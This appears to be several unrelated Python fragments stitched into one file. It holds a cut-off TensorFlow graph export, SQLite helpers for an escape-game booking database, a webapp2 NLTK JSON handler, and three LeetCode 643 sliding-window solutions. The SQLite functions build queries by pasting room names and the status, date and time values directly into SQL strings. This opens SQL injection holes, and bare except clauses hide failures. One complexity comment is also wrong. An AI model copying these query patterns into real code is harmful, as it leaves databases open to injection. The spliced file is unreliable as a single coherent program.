        tf.io.write_graph(graph_or_graph_def=frozen_func.graph,
                        logdir=frozen_out_path,
                        name=f"{frozen_graph_filename}.pb",
                        as_text=False)
        tf.io.write_graph(graph_or_graph_def=frozen_func.graph,
                        logdir=frozen_out_path,
                        name=f"{frozen_graph_filename}.pbtxt",
                        as_text=True)


import sqlite3 as s3
db_name = "/home/egws/ESCAPE_GAMES"
def create_table(room):
    """Create Table for a room"""
    try:
        db = s3.connect(db_name)
    except:
        print("Connexion à la base " + db_name + " impossible")
    try:
        cursor = db.cursor()
        try:
            cursor.execute("""
            CREATE TABLE IF NOT EXISTS '""" + room + """'(
                id INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,
                society TEXT,
                date TEXT,
                time TEXT,
                status TEXT
            )
            """)
        except:
            print("Error: Can't create the SQL request")
        try:
            db.commit()
        except:
            print("Error: Can't commit the SQL request")
    except:
        print("Error: Table cannot be created")
    db.close()

def drop_table(room):
    """Drop room table from the database"""
    try:
        db = s3.connect(db_name)
    except:
        print('Error "drop_table()" : Can\'t connect to DB')
    try:
        cursor = db.cursor()
        cursor.execute("""DROP TABLE '""" + room + """'""")
        db.commit()
        db.close()
    except:
        print('Error "drop_table()" : Can\'t drop table')

def get_all_datas(room):
    """Get all the datas for a room"""
    db = s3.connect(db_name)
    cursor = db.cursor()
    cursor.execute("""
            SELECT * FROM '""" + room + """'
        """)
    datas = cursor.fetchall()
    db.commit()
    db.close()
    return datas

def add_datas(room, datas):
    """Add datas to room table"""
    db = s3.connect(db_name)
    cursor = db.cursor()
    for line in datas:
        info = [line[0], line[2], line[3], line[4]]
        check = check_entry(room, line[2], line[3], line[4])
        if check[0] == False:
            cursor.execute("""INSERT INTO '""" + room + """' (society, date, time, status) VALUES(?, ?, ?, ?)""", info)
        else:
            cursor.execute("""UPDATE '""" + room + """' SET status = '""" + line[4] + """' WHERE id='""" + str(check[1][0][0]) + """'""")

    db.commit()
    db.close()

def check_entry(room, date, time, status):

    db = s3.connect(db_name)
    cursor = db.cursor()
    cursor.execute("""SELECT * FROM '""" + room + """' WHERE date='""" + date + """' AND time='""" + time + """'""")
    res = cursor.fetchall()

    if len(res) > 0:
        checked = True
    else:
        checked = False
    return (checked, res)


import webapp2
import json
import nltk_utils

class MainHandler(webapp2.RequestHandler):
    def renderJSON(self, dictionary):
        dataJSON = json.dumps(dictionary)

        self.response.headers["Content-Type"] = "application/json; charset=UTF-8"
        self.response.write(dataJSON)

    def get(self):
        self.response.write('NLTK demo project')

    def post(self):
        inputText = self.request.get("text")
        resultsLimit = self.request.get("resultsLimit")

        dictionary = {}
        if inputText and not inputText.isspace():
            numberOfResults = 0
            if resultsLimit:
                numberOfResults = int(resultsLimit)

            (tags, freqDist) = nltk_utils.getTagsAndFreqDist(inputText)
            tagDict = nltk_utils.findTags('NN', tags, numberOfResults)
            for tag in tagDict:
                for word in tagDict[tag]:
                    if word in dictionary:
                        dictionary[word] += freqDist[word]
                    else:
                        dictionary[word] = freqDist[word]

        self.renderJSON(dictionary)

app = webapp2.WSGIApplication([
    ('/', MainHandler)
], debug=True)


#O(n) + O(n) + O(n-k+1)
class Solution:

    def slide_window(self, nums, k):
        length = len(nums)
        res = []
        for i in range(length - k + 1):
            res.append(nums[i:i + k])
        return res

    def findMaxAverage(self, nums, k: int) -> float:

        def avgWindows(nums):
            return sum(nums) / len(nums)

        windows = self.slide_window(nums, k)
        data = list(map(avgWindows, windows))
        return max(data)

#O(n) + O(logn)
class Solution:
    def findMaxAverage(self, nums, k: int) -> float:

        length = len(nums)
        window_sum = sum(nums[:k])
        windows = []
        windows.append(window_sum)
        for i in range(length - k):
            window_sum = window_sum - nums[i] + nums[i + k]
            windows.append(window_sum)
        return max(windows) / k

#O(n)
class Solution:
    def findMaxAverage(self, nums, k: int) -> float:

        length = len(nums)
        window_sum = sum(nums[:k])
        max_sum = window_sum
        for i in range(length - k):
            window_sum = window_sum - nums[i] + nums[i + k]
            max_sum = max(max_sum, window_sum)
        return max_sum / k

if __name__ == '__main__':
    data = [1,12,-5,-6,50,3]
    k = 4
    data = [0,4,0,3,2]
    k = 1
    print(Solution().findMaxAverage(data, k))

com/study/algorithm/daily/643. Maximum Average Subarray I.py